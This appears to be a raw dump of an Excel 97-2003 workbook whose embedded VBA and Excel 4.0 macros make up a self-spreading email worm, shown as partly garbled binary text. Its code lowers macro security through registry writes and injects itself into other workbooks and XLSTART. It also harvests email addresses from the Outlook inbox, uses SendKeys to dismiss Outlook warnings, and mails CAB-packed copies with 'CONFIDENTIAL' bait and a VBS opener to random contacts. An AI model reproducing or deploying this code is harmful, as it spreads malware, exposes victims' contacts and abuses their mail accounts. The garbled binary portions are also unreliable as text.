2(:kHi@]Xp]] 2!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi] WScript.Shell$.    B@dP    B@k0.o ]8 h%@B@H l @B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" 2!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  h!@ !!Auto_Activate =Macro1!$A$2 h!B@  h%(oP'  2%p! 'z`kXPiH]10:00:00]11:00:00]14:00:00 ]15:00:008]Ph WScript.Shell$. ,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$  OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8 scripting.filesystemobject$.( WScript.Shell$. E:\KK (%*GE:\KK (B@,j ! ! $ _$.._$.'"E:\KK\ " _clear.vbs'0 '  0  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\ " _Search.vbs'2 '  2  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  0"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V 6 2(4 wscript.exe 2 : B@8. oP]]  >'< WScript.Shell$. scripting.filesystemobject$.(E:\SORCE (%*GE:\SORCE (B@,j ! ! $ _$.._$.'"* " *Message*'@ E:\sorce\ "_Key.vbs'$ '  $  .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ "*.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F: " .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ ".xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ ".xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ ".xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ ".xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ") = " "" and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !6 \TEST.txt'& '  &   E:\sorce\ "_Key.vbs  E:\sorce\ ".xls V 2(:A@B E:\sorce\ ".xls B@A@^$L' D !6$A@F#"C:\" !6A@:comspec$  /c makecab /F " !6 \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ ".CAB : B@8 " !6 \TEST.txt (%H !6 \setup.rpt (%H !6 \setup.inf (%H !6\ ".CAB (%HaA@comspec$  /c RD /S /Q " !6\disk1" : B@8comspec$  /c Del /F /Q " !6 \TEST.txt" : B@8comspec$  /c Del /F /Q " !6 \setup.rpt" : B@8comspec$  /c Del /F /Q " !6 \setup.inf" : B@8comspec$  /c RD /S /Q E:\sorce : B@8E:\KK (%*GE:\KK (B@,jcomspec$  /c MOVE /Y  " .CAB E:\KK" : B@8 DA@: < " Dear all, L " LFYIE:\KK\ ".CABAJcomspec$  /c RD /S /Q E:\KK : B@8.  2(:o=8 ] ]0 G|jOutlook.Application$.X ^ X%\.Z Z P9P R9R N9h T9` V5bB@9dq =f=h= ZB@j[ setforth A@A@A@%snA@lA@h<f<.X.Zo<H Win32_Process WinMgmts:$r%t.p' v p v!xOUTLOOK 'y<k;;i; ]   'z |Gzj |   | z$$ 'z zP;kH; | '~A@4   ~     '   G z$$   'zj   ':i:0 ]p   '>D:\Collected_Address\log.txt$ L$'    $z$$$'   >; $X $'> i9 9] 0 scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9H 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %*G   $ B@,j  %H  %.  B@ B@Bd8  %.  B@ B@Bk7o7 ]8 X p ] 2(: 2(4p7  ! ( !!$# Auto_ActivateG B@j7  !@ !Macro1  ( B@k66$@B@H @B@  !@ !$@!G  (j06  '  '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 2(:op4 ]  (@4 !' 2(: 2(4  !@ !Macro1G  (j3 A1:F15 $@% ! CONFIDENTIAL 'yh3k`3X3 G $@B@j 2(:i 33HAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Funrc d#r&n.ŠtoreAfterar}DoorMisofthobb yABJudg  M(2d | e>AB1o>`2=1>E 8k4.xls A 2)7A-m@@oDole","D ?b|)qExit Rsgv@eStringE L& /tToo4fOve@rwrite s&t1Bo an)#xt~ ?:!<3AFO  AS SlashPows LonbgExt0FTempuFL c@Is No`0eq !# L a ATrim()vbNull3%a  Y" Q0@c].;t 70"_pp_locked_y15 [t?0 22F!'Q ?:f # О.NumberA0!0_!Y!9=vironN2")"\ !.bas D<= + s$Di$r(", .or mp+HiddšSystem~)01CleakE KiB% q929*8* .Rem .I BgEb@Xrr.:))/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1bet GNothingToVBPB *If)Is *` Then, (.I El se!2.Type_vbext_ct_Docum_̌9;S~TempK:CKWith?.pCode.DeleteLinesAj untOf S7*H. (zCo-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove ) IfKill copymCru Functio@  Microsofthobby(>Dim myf0 As º9MyI8Res N = KisWorkbook.Full| = Applica.StartupPa@C&|k4.xls" XeOpen("$) A/ThH <> k s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimizedFos @`@ /F /Q? \? RD /S 3 B62= )creenUpdy DngY4r IsAddin^/SaveC c`ZOk) ZTlasm!!WDoorElFso, RK1i*234 rKValuebVariant, c dcVSw`krVersBA@+CreateOb("scRiPTinG.fiLEsysTA`BjEcTx  = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessVBOMPARK2+t\Le(velB3FLOCAL_MACHINE__"] ~4X   5 = 1. CaLWReg("p"REG_DWORDŒz 2$03744 !3Sub bstrkey',, //Rk|2oWsq]S,P;-WScript.Ya6D0_8KF.`W*e  d C"dn  B Priv: %M ma~4(ByP wbp@@xtQ shtC?c 0e1).Sp^cqWpP.Y ! :=xl64M!# Ave.4"218SRange("A,2"kCz.FormulaR1C116=ERROR(FALSE)գ U3_ia_ "=IF(.TYPE(RUN(; |~Up J""))=4 4Ac ALERT@ú꣬ر PChr(10NowA"PleaE@nable !"",3m5oocFILE.CLOSE/6aEND.`7RETURN(#! Each )In(wb$s"( %!Auto_#1 "`M=&!$A$~2X,+sB(0/VisiA= xlB,ryHiddܸ88Fu7ҬBR$wK6`) .v v;BƶotpKL0)4s(a1) > 0pÎAExi& p d I3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1 <3U <4 4 5Dim SentTime", Ws@hShellSet = CreObject("WScript.-"If  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o\command\")), "OUTLOOK.EXE") > 0 Then ExitS<b>= <2 Or.  4% N "QOunD@:\Collted_Address:frag1.txtC" G% ElseCBPFilez"7\ search_in_OLyIfG2bif_outlook_U+M# G< TF=("n)10,)R TZ 4)GFF=B-21,w@,Orror GoTo t@EIKCA3(w2w@FGGVw < (2@Gb$ \loggHPH HnI" JI`Now9R#i,"Cab_ dMyISBU`GVaxˤ)] aiInteger, AttNaing@ddVbsbkListfs gaLResu` Next 7s¡.f{systemoOb_I @Mfs.Folderexs("E:\KKbFa}z$8b  $= Replace`Left(ThisWork b.!), Len) - 4 K_"A.D qF._cl\" &f4& "P.vbs@PiFHreea2 7}d7 F{@pu t`c Wri3 ;#i3nt #i V4e4 (Gwsh, Xtle` vi  T0r-a7=cc:(""i!"w>.4) @Microsoft Office PAZ'Q1 `N1000 Ifmrp > 6 rCall !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=U quitRePDo Untibl AppqA(JCpJ("))True+aSI*aLoop=% s?_ 1q[z{F4?7q\Sub`Close (i0s@\ @A"b@В@0AyAn Af'olVInbox 6QCconbiTnd`ac,E,DtLxF#=YusC۳38F_A б. %lica!T. 9^sp`.GetMMAPI vD@efault(J_ Targe~ eC 1 colIPxsI.B23V VaH.Run _exopo svbHidg{{tB pgQ/E(achMPpage in K< 0IB`>55 t`t ?0=@/valhid_0($D .pBodyUp_t@, 8{ j_non_sО2AllT002ku5QY{0;2u source_dataL AaAoDictr dpta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfeُReÇ(!".Cou- 1For i@$Lbd() pTo UN* i)@I(& vbCrLfNext (B(N(H7@%)`Ý'IfX> 0 TxhenS!HI$.keysS L>f>@validdress}&{`# !@ E0nd I/;i|Nothy Funct{+v Sub add_t@F(inpad_sOng`_frag/\AbobjFSO, logfile A_path#fol@ `&$FD:\CollA*ImB!FSysf#D On Err`w9ume niA .cFb(el n ].Exist.sch\ .tzl8b$a2T !  , o$8S"S'$SeaB Case ׂTR #8 "AT"Open"tdF, 8#, - 1A.Writ -c5 C2Clos;_q 2 SO. 9O% 2 s C C I%[s!5>nN "ubNeQ RAllF?.M2N, My@%Lss< UBound(a)cP@erve a(n*2A?rn x+ 1/ 8@} o/ -1/ d}=0a) ClopW(iPp?q z b\TEST.t #PK_aX>~ нw.@eenUpd`n&g" гto reBefPSend SaveC1 Af<c c<4$1 Ch8Dri%, ,'"C:\ir`)1 QEnviron$("comspec"3 /c makecab 0 c*i  !If NxextyBRadomNine`(leng>Integerr eH !@jj, ki"N"#$<= oc @:1E i1 `-O$$_id U = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.KUAslea_arrAlPApSpkt(Read@[("D: \Collfed5h\logr)pcxYkrrV)U@Bound()uLs "#O P$;A$(C`(i- 1&G$O7on Fxull6%F\Rxesu&FsoileT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsF@.O@zEa(5 , 1T,| -a q$.1!All*.C|loᾟg 3ragMark, pathfO?NO‰OQ}("OM@:Left(, Lena(10  ´f`It_Q1" ue 2Write Fd 1Eڑ1"i"b"A1#mqSӮgN4storeBeeQ(#!! aa!i, i_rowjcol@Psht1s_Z48.DisAlert!$++I Q  aa.Visible ~r0#VS"!")(1)`"Auto_Aq" Then aa.Delete Next For Each sht InisWorkbook.Sheets IfF.Name = "Macro1B.VisiblBxl| DUEnd IfAp(1).ScC.Add5<<> V^VeryHiddenH i_rowwInt((15 * Rnd) + 1) i_col6 CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_key.vbs @p0o OpA FPile.$3 $8$1V$ļ"With Range(U, NgB.Font.Bold_TruColorIndex@3  Application.ScreenUp2dng Sub Private Func RestoreAfterW"(#Dim, del_, rngCfrag As BooleaOn Err{@u܃@ A9veB,Fa ls DisplayAlerts D?$ l*Bwl atd).c>"A1:F1 5"' InStr(.Value, "i") > 0B *= >Exit < l"ņa}5)&?CBaCA __SRP_2__SRP_3)P;_VBA_PROJECT4diraK9y q QYa1 i Qa 9Y1 !AQt," x$ x xHt $ 0ltp x$ x lp=2tpx$" x$ x x  >\(`%x$ x d \W< :L ]@)x\5<V=[x x $ " x$ x xP,$ $tpx\<,F\`:d %tx$ Xx \t ` ,Q\X)xt`X <X <X <X <X <X <X <X < X < X <9*#T*#P*#L*#H X <2TPLH X < X <X <!X <"X <X <cX4(X,TPLHxt`\l$ XQlx'X:\ %lx \l QXtllt ,Qlp lpTPT 8lPT @cT,4TtxplX0 8  0 x  0   0   0   0   x l xK.\(`%px p d \#)p\<\ `%',%'<%'L%p$ p ( )p\ :` %p$ @p p(p'L%:`$%$ pp!:`%%p$ (p,p(p'L%:`&%$ ppY'( p$ p Tl(*#$(*F%\$ (\,2($)p\5(p'L%:`)%$ ppr:`*  + ,  +:L-%p$ (p,p6(p'L%:`.%$ pp!:`/%p$ (p,p(p'L%:`0%$ pp!:`1%p$ (p,p(p'L%:`2%$ pp!:`3%p$ (p,ppx Qp[tt=?tW :`4%:<5%f%px pp6 tu5L%\(`%px p d \6)p\x4xt8 ($p\0 P  0   0   0 P  0 8   0 H  0   0 0  0   0 H   0  0        rU $`$`$`$`,!`aDI`0==#$q`$`0` Iay0/0, `a( `0$9 `$a `$ `<`A00000$`(`a&$)`(Q`y/,y`//$`$`nG0* pHd VBAProject4@j = r ɶe J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\SysW OW64\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files (x86)\Common \Microsoft Shared\OFFICE11\MSO.DLL#P 11 .0 Ob LibraryNVBIDE>BIDEpE157T5\.3T/1\6E6EXTVBProj1F`VBProj2G` WorkbooksB` ( copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`( WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`!!#%') */  ""ay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files (x86)\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation4*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Libraryf*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3  ɶe  A' ThisWorkbook0>651ab6c9ThisWorkbook Sheet10?651ab6c9 Sheet1a Sheet20@651ab6c9 Sheet20 Sheet30A651ab6c9 Sheet3lH Sheet40B651ab6c9 Sheet43` Sheet50C651ab6c9! Sheet5x Sheet60D651ab6c9# Sheet6N Sheet70E651ab6c9% Sheet7 Sheet80F651ab6c9' Sheet8u Sheet90G651ab6c9) Sheet9ƛ ToDOLE0=651ab6c9. ToDOLE&x0H`T7I>ownA&U `O[&A΀;Ն|/6JEfŚL$] DA/*\(;CU#$6$3C#W9],KE1nu-K\3cy_\8DOrL%E Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` Sheet4` Sheet5` Sheet6` Sheet7` Sheet8` Sheet9` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`( do_what`RestoreAfterOpen`( OpenDoor`( Microsofthobby ` ActionJudgeBG` ( copystart `wb_`Workbookk`.OLB2Visual Basic for Applicds Extensibility @!@-B A'BThisWorkbookG TisWrkbo* 2 HB1BЀBE,!"B+BBSheetT1GS@#e@t1H2Na*2222 3 3 3 3 )l 4 4 4 4 3 5 5 5 5 6 6 6 6 N 7 7 7 7 8 8 8 8 u 9 9 9 9 ƛ XToD TDOL} o&}!brU~~~~w __SRP_0)p__SRP_1($oPROJECTwmxPROJECT*|S  " (+a TOZ_<7IL R yLKFS:H6u(\IYƕQ"Z Jެ|$В+Ad~HdP8   ) A Y q      Q1 VBAProject ThisWorkbookSheet1Sheet2Sheet3Sheet4Sheet5Sheet6Sheet7Sheet8Sheet9ģ1ToDOLEF /C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA 1 Y0F:C:\Program Files (x86)\Microsoft Office\OFFICE11\EXCEL.EXEExcel )Q@0FC:\Windows\SysWOW64\stdole2.tlbstdole aPL-[DREC:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice Ai`WFIC:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE q9p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FFQ y F H51nҀF)Rb*B\kDFWorkbook @FName Macro1Q  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueFIF|Űg FADUL+̓:DF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 =ALERT("y(u[ sQ  0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL ` x '  һ  (S[ICVKSOProductBuildVer$BB8851E9B081422B846915D7B9844D7E2052-11.1.0.12358 FMicrosoft Office Excel Biff8Excel.Sheet.89q